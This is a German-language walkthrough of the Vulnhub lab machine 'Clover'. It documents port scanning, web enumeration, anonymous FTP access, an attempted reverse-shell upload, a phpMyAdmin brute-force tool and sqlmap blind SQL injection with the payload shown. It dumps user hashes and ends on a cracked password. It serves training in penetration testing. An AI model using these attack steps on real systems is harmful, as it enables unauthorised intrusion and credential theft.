Clover - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
feroxbuster
sqlmap
hydra
ftp
wget
exiftool
crunch
ssh
find
file
cat
ls
cd
su
sh

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir die ersten Schritte der Reconnaissance durch, um Informationen über das Zielsystem zu sammeln. Ziel ist es, die IP-Adresse, offene Ports und laufende Dienste zu identifizieren.

ARP-Scan
192.168.2.108 08:00:27:43:54:60 PCS Systemtechnik GmbH

Der ARP-Scan identifiziert das Zielsystem im lokalen Netzwerk mit der IP-Adresse 192.168.2.108 und der MAC-Adresse 08:00:27:43:54:60. Die Angabe "PCS Systemtechnik GmbH" könnte Hinweise auf den Hersteller der Netzwerkkarte geben. **Analyse:** Der ARP-Scan ist ein grundlegendes Werkzeug, um Hosts im lokalen Netzwerk zu entdecken. Die MAC-Adresse kann zur Identifizierung des Geräts oder des Herstellers verwendet werden. **Empfehlung für den Systemadministrator:** Die ARP-Tabelle regelmäßig überprüfen, um unautorisierte Geräte im Netzwerk zu erkennen. ARP-Spoofing-Angriffe verhindern.

/etc/hosts
192.168.2.108 clover.vln

In der /etc/hosts-Datei wird der Hostname "clover.vln" der IP-Adresse 192.168.2.108 zugeordnet. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse für den Zugriff auf das System. **Analyse:** Die /etc/hosts-Datei ermöglicht die lokale Namensauflösung. Dies kann für Pentesting nützlich sein, um das Zielsystem mit einem Hostnamen anzusprechen. **Empfehlung für den Pentester:** Die /etc/hosts-Datei verwenden, um das Zielsystem mit einem Hostnamen anzusprechen. Dies kann in manchen Fällen erforderlich sein, um bestimmte Funktionen zu nutzen oder Schwachstellen auszunutzen. **Empfehlung für den Systemadministrator:** Sicherstellen, dass die /etc/hosts-Datei nicht von unbefugten Benutzern geändert werden kann, um Manipulationen der Namensauflösung zu verhindern.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 22:01 CET
Nmap scan report for clover.vln (192.168.2.108)
Host is up (0.00020s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Mar 26 2021 maintenance
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 bc:a7:bf:7f:23:83:55:08:f7:d1:9a:92:46:c6:ad:2d (DSA)
| 2048 96:bd:c2:57:1c:91:7b:0a:b9:49:5e:7f:d1:37:a6:65 (RSA)
| 256 b9:d9:9d:58:b8:5c:61:f2:36:d9:b2:14:e8:00:3c:05 (ECDSA)
|_ 256 24:29:65:28:6e:fa:07:6a:f1:6b:fa:07:a0:13:1b:b6 (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 3 disallowed entries
|_/admin /root /webmaster
|_http-title: Site doesn't have a title (text/html).
110/tcp closed pop3
443/tcp closed https
5781/tcp closed 3par-evts
8080/tcp closed http-proxy
MAC Address: 08:00:27:43:54:60 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.16 - 4.6 (96%), Linux 3.2 - 4.9 (94%), Linux 4.4 (94%), Linux 3.2 - 3.8 (93%), Linux 4.10 (93%), Linux 3.16 (92%), Linux 3.13 (91%), Linux 3.13 or 4.2 (91%), Linux 4.2 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.20 ms clover.vln (192.168.2.108)

Dieser umfassende Nmap-Scan identifiziert mehrere offene Ports: 21 (FTP), 22 (SSH) und 80 (HTTP). Der FTP-Server erlaubt anonyme Anmeldungen, was ein potenzielles Sicherheitsrisiko darstellt. Die gefundenen SSH- und Apache-Versionen sind ebenfalls relevant für die Suche nach Schwachstellen. Die MAC-Adresse deutet auf eine virtuelle Maschine hin (Oracle VirtualBox). **Analyse:** Der Nmap-Scan liefert detaillierte Informationen über das Zielsystem, einschließlich der offenen Ports, der laufenden Dienste und der Betriebssystemversion. Die Option `-sS` führt einen SYN-Scan durch, der stealthier ist als ein vollständiger TCP-Connect-Scan. Die Option `-sC` führt Standard-Skripte aus, um weitere Informationen über die Dienste zu sammeln. Die Option `-sV` versucht, die Version der laufenden Dienste zu ermitteln. Die Option `-A` aktiviert aggressive Scan-Optionen, einschließlich OS-Erkennung und Traceroute. Die Option `-p-` scannt alle Ports. Die Option `-Pn` überspringt die Host-Discovery-Phase, was nützlich ist, wenn der Host ICMP-Anfragen blockiert. Die Option `--min-rate 5000` versucht, die Scan-Geschwindigkeit zu erhöhen. **Empfehlung für den Pentester:** Den anonymen FTP-Zugang genauer untersuchen, da dies einen einfachen Einstiegspunkt in das System darstellen kann. Die Versionsnummern der Dienste verwenden, um nach bekannten Schwachstellen und Exploits zu suchen. **Empfehlung für den Systemadministrator:** Anonymen FTP-Zugang deaktivieren oder einschränken, um das Risiko unbefugten Zugriffs zu minimieren. Regelmäßige Sicherheitsupdates durchführen, um bekannte Schwachstellen in den laufenden Diensten zu beheben. Eine Firewall konfigurieren, um unnötige Ports zu schließen.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste auf Port 80 und den anonymen FTP-Server. Ziel ist es, versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen zu finden.

Nikto v2.5.0
+ Target IP: 192.168.2.108
+ Target Hostname: 192.168.2.108
+ Target Port: 80
+ Start Time: 2024-10-29 22:03:58 (GMT1)

+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 5 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 0.
+ /website/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ 8261 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2024-10-29 22:04:39 (GMT1) (41 seconds)

Nikto identifiziert fehlende Sicherheitsheader (X-Frame-Options, X-Content-Type-Options), eine veraltete Apache-Version und ein gefundenes phpMyAdmin-Verzeichnis. Das robots.txt enthält 5 Einträge, die manuell überprüft werden sollten. **Analyse:** Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. Das Fehlen von Sicherheitsheadern kann zu Clickjacking- und MIME-Sniffing-Angriffen führen. Eine veraltete Apache-Version ist anfälliger für bekannte Schwachstellen. Das phpMyAdmin-Verzeichnis ist ein beliebtes Ziel für Angreifer. **Empfehlung für den Pentester:** Die fehlenden Header manuell überprüfen und ausnutzen. Apache aktualisieren und das phpMyAdmin-Verzeichnis auf Schwachstellen überprüfen (z.B. Brute-Force-Angriffe, SQL-Injection). Die Einträge im robots.txt genauer untersuchen, da diese sensible Informationen über die Webanwendung offenlegen könnten. **Empfehlung für den Systemadministrator:** Die fehlenden Header hinzufügen, um die Sicherheit der Webanwendung zu erhöhen. Apache auf die neueste Version aktualisieren, um bekannte Schwachstellen zu beheben. Das phpMyAdmin-Verzeichnis absichern, z.B. durch Beschränkung des Zugriffs auf bestimmte IP-Adressen oder durch Verwendung eines starken Passworts.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.108/index.html (Status: 200) [Size: 3]
http://192.168.2.108/status (Status: 200) [Size: 10]
http://192.168.2.108/javascript (Status: 301) [Size: 319] [--> http://192.168.2.108/javascript/]
http://192.168.2.108/website (Status: 301) [Size: 316] [--> http://192.168.2.108/website/]
http://192.168.2.108/robots.txt (Status: 200) [Size: 105]
http://192.168.2.108/phpmyadmin (Status: 301) [Size: 319] [--> http://192.168.2.108/phpmyadmin/]

Gobuster findet mehrere Verzeichnisse, darunter /status, /javascript, /website, /robots.txt und /phpmyadmin. **Analyse:** Gobuster ist ein Tool zum Durchführen von Directory Bruteforcing. Es verwendet eine Wortliste, um nach versteckten Verzeichnissen und Dateien auf einem Webserver zu suchen. Die Option `-u` gibt die URL des Zielsystems an. Die Option `-w` gibt die Wortliste an. Die Option `-x` gibt die Dateierweiterungen an, nach denen gesucht werden soll. Die Option `-b` gibt die HTTP-Statuscodes an, die als Fehler betrachtet werden sollen. Die Option `-e` gibt an, dass auch nach existierenden Einträgen gesucht werden soll. Die Option `--no-error` unterdrückt Fehlermeldungen. Die Option `-k` ignoriert SSL-Zertifikatsfehler. **Empfehlung für den Pentester:** Die gefundenen Verzeichnisse genauer untersuchen, um mögliche Schwachstellen zu finden. Das phpMyAdmin-Verzeichnis genauer untersuchen, da dies ein beliebtes Ziel für Angriffe ist.

http://192.168.2.108/robots.txt
User-agent: *
Allow: /status
Allow: /status-admin

Disallow: /admin
Disallow: /root
Disallow: /webmaster

Die robots.txt-Datei erlaubt den Zugriff auf /status und /status-admin, verbietet jedoch den Zugriff auf /admin, /root und /webmaster. **Analyse:** Die robots.txt-Datei wird von Suchmaschinen verwendet, um zu bestimmen, welche Seiten einer Website gecrawlt werden dürfen. Sie kann auch von Angreifern verwendet werden, um sensible Bereiche einer Website zu identifizieren. **Empfehlung für den Pentester:** Die verbotenen Verzeichnisse trotzdem versuchen zu erreichen, da die robots.txt-Datei nicht immer vollständig ist. Die erlaubten Verzeichnisse untersuchen, um mögliche Schwachstellen zu finden. **Empfehlung für den Systemadministrator:** Die robots.txt-Datei sorgfältig konfigurieren, um sensible Bereiche der Website vor Suchmaschinen und Angreifern zu schützen.

http://192.168.2.108/status-admin
Stop hack our website!

Die Seite /status-admin zeigt eine einfache Nachricht, die darauf hindeutet, dass die Administratoren sich der Möglichkeit von Angriffen bewusst sind. **Analyse:** Diese Seite dient vermutlich als Honeypot oder als einfache Abschreckung für Script-Kiddies.

http://192.168.2.108/status
ping pong

Die Seite /status zeigt eine einfache "ping pong"-Nachricht. Dies könnte als Health Check für den Server dienen. **Analyse:** Diese Seite dient vermutlich als einfacher Health Check für den Server. Sie könnte auch verwendet werden, um die Verfügbarkeit des Servers zu überprüfen.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.108
Connected to 192.168.2.108.
220 (vsFTPd 3.0.2)
Name (192.168.2.108:ccat): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Der FTP-Server erlaubt anonyme Anmeldungen. **Analyse:** Die anonyme Anmeldung auf dem FTP-Server stellt ein erhebliches Sicherheitsrisiko dar, da jeder Benutzer ohne Authentifizierung auf den Server zugreifen kann. **Empfehlung für den Pentester:** Die anonyme Anmeldung auf dem FTP-Server ausnutzen, um möglicherweise sensible Dateien herunterzuladen oder Schadcode hochzuladen. **Empfehlung für den Systemadministrator:** Anonymen FTP-Zugang deaktivieren oder einschränken, um das Risiko unbefugten Zugriffs zu minimieren.

Anonymous
Invalid command.

Der Befehl "Anonymous" ist ungültig. Vermutlich wurde versucht, sich mit dem Benutzernamen "Anonymous" anzumelden. **Analyse:** Dies ist kein gültiger FTP-Befehl. Der Benutzername wird bei der Anmeldung abgefragt.

ls -la
229 Entering Extended Passive Mode (|||41704|).
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Mar 26 2021 .
drwxr-xr-x 3 ftp ftp 4096 Mar 26 2021 ..
drwxr-xr-x 2 ftp ftp 4096 Mar 26 2021 maintenance
226 Directory send OK.

Der Befehl "ls -la" listet den Inhalt des aktuellen Verzeichnisses auf dem FTP-Server auf. Das "maintenance"-Verzeichnis ist interessant. **Analyse:** Die Ausgabe zeigt, dass das "maintenance"-Verzeichnis für alle Benutzer lesbar ist. **Empfehlung für den Pentester:** Das "maintenance"-Verzeichnis genauer untersuchen, da es möglicherweise sensible Dateien oder Konfigurationen enthält. **Empfehlung für den Systemadministrator:** Die Berechtigungen für das "maintenance"-Verzeichnis überprüfen und gegebenenfalls einschränken, um das Risiko unbefugten Zugriffs zu minimieren.

┌──(root㉿CCat)-[~]
└─# wget -r ftp://Anonymous:Anonymous@192.168.2.108
--2024-10-29 22:17:54-- ftp://Anonymous:*password*@192.168.2.108/
=> 192.168.2.108/.listing
Verbindungsaufbau zu 192.168.2.108:21 … verbunden.
Anmelden als Anonymous … Angemeldet!
...
..

Der Befehl "wget -r" lädt rekursiv alle Dateien vom FTP-Server herunter. **Analyse:** Die Option `-r` sorgt dafür, dass wget alle Verzeichnisse und Dateien rekursiv herunterlädt. Die Angabe "Anonymous:Anonymous" als Benutzername und Passwort ist für die anonyme Anmeldung erforderlich. **Empfehlung für den Pentester:** Alle heruntergeladenen Dateien auf sensible Informationen und Schwachstellen überprüfen.

┌──(root㉿CCat)-[~/192.168.2.108/maintenance]
└─# ll
insgesamt 12
-rw-r--r-- 1 root root 13 26. Mär 2021 locale.txt
-rw-r--r-- 1 root root 54 26. Mär 2021 test2.txt
-rw-r--r-- 1 root root 3 26. Mär 2021 test.txt

Das "maintenance"-Verzeichnis enthält drei Textdateien: locale.txt, test2.txt und test.txt. **Analyse:** Die Ausgabe zeigt, dass die Dateien dem Benutzer root gehören und für alle Benutzer lesbar sind. **Empfehlung für den Pentester:** Alle drei Dateien untersuchen, um mögliche Hinweise auf Schwachstellen oder Zugangsdaten zu finden.

┌──(root㉿CCat)-[~/192.168.2.108/maintenance]
└─# cat locale.txt
cGluZyBwb25n
https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y0dsdVp5QndiMjVu
pingpong

Die Datei "locale.txt" enthält den Base64-kodierten String "cGluZyBwb25n", der dekodiert "ping pong" ergibt. Der Link zu CyberChef deutet darauf hin, dass die Datei ursprünglich Base64-kodiert war. **Analyse:** Die Base64-Kodierung könnte verwendet werden, um den Inhalt der Datei zu verschleiern. Die Tatsache, dass ein Link zu CyberChef angegeben ist, deutet darauf hin, dass der Inhalt absichtlich verschlüsselt wurde. **Empfehlung für den Pentester:** Den Base64-String dekodieren, um den tatsächlichen Inhalt der Datei zu ermitteln.

┌──(root㉿CCat)-[~/192.168.2.108/maintenance]
└─# cat test2.txt
We are under test.
Plese delete FTP anonymous login.

Die Datei "test2.txt" enthält einen Hinweis darauf, dass der anonyme FTP-Login deaktiviert werden sollte. **Analyse:** Dies ist ein klarer Hinweis darauf, dass die Administratoren sich des Sicherheitsrisikos bewusst sind, das durch den anonymen FTP-Zugang entsteht.

Initial Access

In diesem Abschnitt versuchen wir, initialen Zugriff auf das System zu erlangen. Basierend auf den Ergebnissen der Reconnaissance und Web Enumeration konzentrieren wir uns auf die Ausnutzung des anonymen FTP-Zugangs und der gefundenen SQL-Injection Schwachstelle.

ftp> cd maintenance
250 Directory successfully changed.

Wir wechseln in das "maintenance"-Verzeichnis auf dem FTP-Server. **Analyse:** Dies ist ein notwendiger Schritt, um Dateien in diesem Verzeichnis zu manipulieren.

ftp> put re
recon_script.sh rev.php
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||41135|).
550 Permission denied.

Der Versuch, eine Datei auf den FTP-Server hochzuladen, scheitert aufgrund fehlender Berechtigungen. **Analyse:** Der anonyme FTP-Benutzer hat keine Schreibrechte in diesem Verzeichnis. **Empfehlung für den Pentester:** Versuchen, andere Verzeichnisse auf dem FTP-Server zu finden, in denen Schreibrechte vorhanden sind.

┌──(root㉿CCat)-[~/Hackingtools]
└─# cd phpmyadmin-authentication-bruteforce

Wir wechseln in das Verzeichnis eines phpMyAdmin Authentication Bruteforce Tools. **Analyse:** Dies deutet darauf hin, dass wir versuchen werden, uns Zugang zum phpMyAdmin-Panel zu verschaffen.

┌──(root㉿CCat)-[~/Hackingtools/phpmyadmin-authentication-bruteforce]
└─# ll
insgesamt 8348
-rw-r--r-- 1 root root 1066 29. okt 22:30 LICENSE
-rw-r--r-- 1 root root 2429 29. okt 22:30 main.py
-rw-r--r-- 1 root root 8529110 29. okt 22:30 password.txt
-rw-r--r-- 1 root root 418 29. okt 22:30 README.md
-rw-r--r-- 1 root root 15 29. okt 22:30 users.txt

Das Verzeichnis enthält Dateien, die für einen phpMyAdmin Authentication Bruteforce benötigt werden, darunter ein Python-Skript (main.py), eine Passwortliste (password.txt) und eine Benutzerliste (users.txt). **Analyse:** Dies bestätigt, dass wir einen phpMyAdmin-Brute-Force-Angriff durchführen wollen. Die Passwort- und Benutzerlisten sind entscheidend für den Erfolg dieses Angriffs. **Empfehlung für den Pentester:** Sicherstellen, dass die Passwortliste umfassend und relevant ist. Die Benutzerliste anpassen, falls bekannte Benutzernamen vorhanden sind.

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.108/website/images/parker-johnson-unsplash.jpg
--2024-10-29 22:35:27-- http://192.168.2.108/website/images/parker-johnson-unsplash.jpg
Verbindungsaufbau zu 192.168.2.108:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 61614 (60K) [image/jpeg]
Wird in parker-johnson-unsplash.jpg gespeichert.

parker-johnson-unsplash.jpg 100%[=>] 60,17K --.-KB/s in 0s

2024-10-29 22:35:27 (697 MB/s) - "parker-johnson-unsplash.jpg" gespeichert [61614/61614]

Wir laden ein Bild von der Webseite herunter. Dies könnte dazu dienen, Metadaten aus dem Bild zu extrahieren oder es auf andere Weise zu analysieren. **Analyse:** Der Download eines Bildes von der Webseite deutet auf eine Suche nach versteckten Informationen (Steganographie) oder nach Metadaten hin, die zur Aufklärung beitragen könnten.

┌──(root㉿CCat)-[~]
└─# exiftool parker-johnson-unsplash.jpg
ExifTool Version Number : 12.76
File Name : parker-johnson-unsplash.jpg
Directory : .
File Size : 62 kB
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Current IPTC Digest : cdcffa7da8c7be09057076aeaf05c34e
Coded Character Set : UTF8
Application Record Version : 0
IPTC Digest : cdcffa7da8c7be09057076aeaf05c34e
Displayed Units X : inches
Displayed Units Y : inches
Print Style : Centered
Print Position : 0 0
Print Scale : 1
Global Angle : 30
Global Altitude : 30
URL List :
Slices Group Name : parker-johnson-pWXlJBM819A-unsplash
Num Slices : 1
Pixel Aspect Ratio : 1
Profile ID : 0
DCT Encode Version : 100
APP14 Flags 0 : Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
Color Transform : YCbCr
Image Width : 400
Image Height : 400
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x400
Megapixels : 0.160
Thumbnail Image : (Binary data 9142 bytes, use -b option to extract)

Wir extrahieren Metadaten aus dem Bild mit dem Tool "exiftool". Die Metadaten enthalten keine offensichtlichen Hinweise auf Schwachstellen. **Analyse:** Exiftool ist ein nützliches Werkzeug, um Metadaten aus verschiedenen Dateiformaten zu extrahieren. In diesem Fall enthält das Bild keine relevanten Informationen.

http://clover.vln/CFIDE/
Index of /CFIDE
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[DIR] Administrator/ 2021-03-28 06:50 -
Apache/2.4.10 (Debian) Server at clover.vln Port 80

Das Verzeichnis "/CFIDE/" ist vorhanden und listet den Inhalt auf, einschließlich eines "Administrator/"-Verzeichnisses. Dies könnte auf eine ColdFusion-Installation hindeuten. **Analyse:** Das Vorhandensein des "/CFIDE/"-Verzeichnisses ist ein starker Hinweis auf eine ColdFusion-Installation.

http://clover.vln/CFIDE/Administrator/
Messes Make Memories

Some people find it hard to find the right perfume. This may smell good when this is sprayed into the air but this changes when this reacts with the skin.

Image
Image
...
Thumbnail

Das Verzeichnis "/CFIDE/Administrator/" enthält eine Webseite mit Bildern und Text. Dies könnte eine Anmeldeseite für den ColdFusion-Administrator sein oder eine andere Art von Administrationsbereich. **Analyse:** Dies könnte eine Standardseite von ColdFusion sein oder eine speziell angepasste Seite.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url "http://192.168.2.108" --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv,.phtml -s 200 301 302
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.108
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 301, 302]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 2w 10c http://192.168.2.108/status
200 GET 1l 4w 23c http://192.168.2.108/status-admin
200 GET 1l 1w 3c http://192.168.2.108/
200 GET 1l 1w 3c http://192.168.2.108/index.html
301 GET 9l 28w 319c http://192.168.2.108/javascript => http://192.168.2.108/javascript/
301 GET 9l 28w 316c http://192.168.2.108/website => http://192.168.2.108/website/
200 GET 140l 1274w 106417c http://192.168.2.108/website/images/parker-johnson-unsplash.jpg
200 GET 135l 766w 64985c http://192.168.2.108/website/images/favicon.ico
...
..

Feroxbuster, ein weiteres Directory Bruteforcing Tool, bestätigt die Existenz der zuvor gefundenen Verzeichnisse. **Analyse:** Feroxbuster ist ein schnelles und effizientes Directory Bruteforcing Tool. Die Ausgabe bestätigt die Ergebnisse von Gobuster.

┌──(root㉿CCat)-[~/Hackingtools/phpmyadmin-authentication-bruteforce]
└─# sqlmap -r /home/ccat/Downloads/sql.sql --dbs --dbms=mysql --risk=3 --level=5
[23:01:04] [INF] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:01:04] [INF] testing 'Generic UNION query (random number) - 1 to 10 columns'
[23:01:04] [INF] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:01:05] [INF] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[23:01:05] [WARNING] parameter 'Referer' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 14181 HTTP(s) requests:

Parameter: uname (POST)
Type: boolean-based blind
Title: BOOLEAN-BASED blind - WHERE or HAVING clause
Payload: uname=-4183' OR 9457=9457-- oZwM&pswd=pass

[23:01:05] [INF] testing MySQL
[23:01:05] [INF] confirming MySQL
[23:01:05] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[23:01:05] [INF] fetching database names
[23:01:05] [INF] fetching number of databases
[23:01:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:01:05] [INF] retrieved: 5
[23:01:05] [INF] retrieved: information_schema
[23:01:05] [INF] retrieved: clover
[23:01:05] [INF] retrieved: mysql
[23:01:05] [INF] retrieved: performance_schema
[23:01:05] [INF] retrieved: sys
available databases [5]:
[*] clover
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[23:01:05] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/clover.vln'

Sqlmap findet eine BOOLEAN-BASIERTE Blind SQL Injection Schwachstelle im Parameter "uname" (POST-Anfrage). Es werden die vorhandenen Datenbanken aufgelistet, darunter "clover". **Analyse:** Sqlmap ist ein leistungsstarkes Tool zum Auffinden und Ausnutzen von SQL-Injection-Schwachstellen. Die Option `-r` gibt die HTTP-Anfrage aus einer Datei an. Die Option `--dbs` listet alle Datenbanken auf dem Server auf. Die Option `--dbms` gibt den Datenbanktyp an. Die Optionen `--risk` und `--level` geben den Risikograd und die Testintensität an. **Empfehlung für den Pentester:** Die Clover-Datenbank genauer untersuchen, um Tabellen und Spalten aufzulisten.

┌──(root㉿CCat)-[~/Hackingtools/phpmyadmin-authentication-bruteforce]
└─# sqlmap -r /home/ccat/Downloads/sql.sql -D clover --tables --dbms=mysql --risk=3 --level=5
Parameter: uname (POST)
Type: boolean-based blind
Title: BOOLEAN-BASED blind - WHERE or HAVING clause
Payload: uname=-4183' OR 9457=9457-- oZwM&pswd=pass

[23:02:32] [INF] testing MySQL
[23:02:32] [INF] confirming MySQL
[23:02:32] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[23:02:32] [INF] fetching tables for database: 'clover'
[23:02:32] [INF] fetching number of tables for database 'clover'
[23:02:32] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:02:32] [INF] retrieved: 1
[23:02:32] [INF] retrieved: users
Database: clover
[1 table]
+-------+
| users |
+-------+

[23:02:32] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/clover.vln'

Sqlmap listet die Tabellen der Clover Datenbank auf . Es wird die Tabelle "users" gefunden. **Analyse:** Die Option `-D` gibt die Datenbank an, die untersucht werden soll. Die Option `--tables` listet alle Tabellen in der angegebenen Datenbank auf. Das Ergebnis zeigt, dass die Datenbank "clover" eine Tabelle namens "users" enthält. **Empfehlung für den Pentester:** Die Spalten der User tabelle untersuchen um Passwörter auszulesen.

┌──(root㉿CCat)-[~/Hackingtools/phpmyadmin-authentication-bruteforce]
└─# sqlmap -r /home/ccat/Downloads/sql.sql -D clover -T users --dump --dbms=mysql --risk=3 --level=5
[23:06:03] [WARNING] no clear password(s) found
Database: clover
Table: users
[3 entries]
+----+----------------------------------+-----------+
| id | password | username |
+----+----------------------------------+-----------+
| 1 | 33a41c7507cy5031d9tref6fdb31880c | 0xBush1do |
| 2 | 69a41c7507ad7031d9decf6fdb31810c | asta |
| 3 | 92ift37507ad7031d9decf98setf4w0c | 0xJin |
+----+----------------------------------+-----------+

[23:06:03] [INF] table 'clover.users' dumped to CSV file '/root/.local/share/sqlmap/output/clover.vln/dump/clover/users.csv'

Sqlmap extrahiert die Daten aus der Users Tabelle. Die Passwörter sind gehasht. Es werden 3 User gefunden: 0xBush1do, asta und 0xJin. **Analyse:** Die Option `--dump` extrahiert alle Daten aus der angegebenen Tabelle. Die Ausgabe zeigt die Benutzernamen und zugehörigen Hashes. **Empfehlung für den Pentester:** Versuchen, die extrahierten Hashes zuknacken, um die Passwörter der Benutzer zu erhalten. Gängige Hash-Cracking-Tools wie Hashcat oder John the Ripper verwenden. Online-Dienste zum Knacken von Hashes nutzen.

92ift37507ad7031d9decf98setf4w0c
69a41c7507ad7031d9decf6fdb31810c
33a41c7507cy5031d9tref6fdb31880c
Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
Hash Type Result
92ift37507ad7031d9decf98setf4w0c Unknown Unrecognized hash format.
69a41c7507ad7031d9decf6fdb31810c Unknown Not found.
33a41c7507cy5031d9tref6fdb31880c Unknown Unrecognized hash format.

Die extrahierten Hashes werden analysiert aber nicht erkannt. **Analyse:** Die Hashes entsprechen keinem bekannten Hash-Algorithmus. Dies deutet darauf hin, dass ein benutzerdefinierter Hash-Algorithmus verwendet wird oder dass die Hashes zusätzlich verschlüsselt wurden.

https://www.md5online.it/index.lm?key_decript=69a41c7507ad7031d9decf6fdb31810c
md5-decript("69a41c7507ad7031d9decf6fdb31810c")

asta$$123

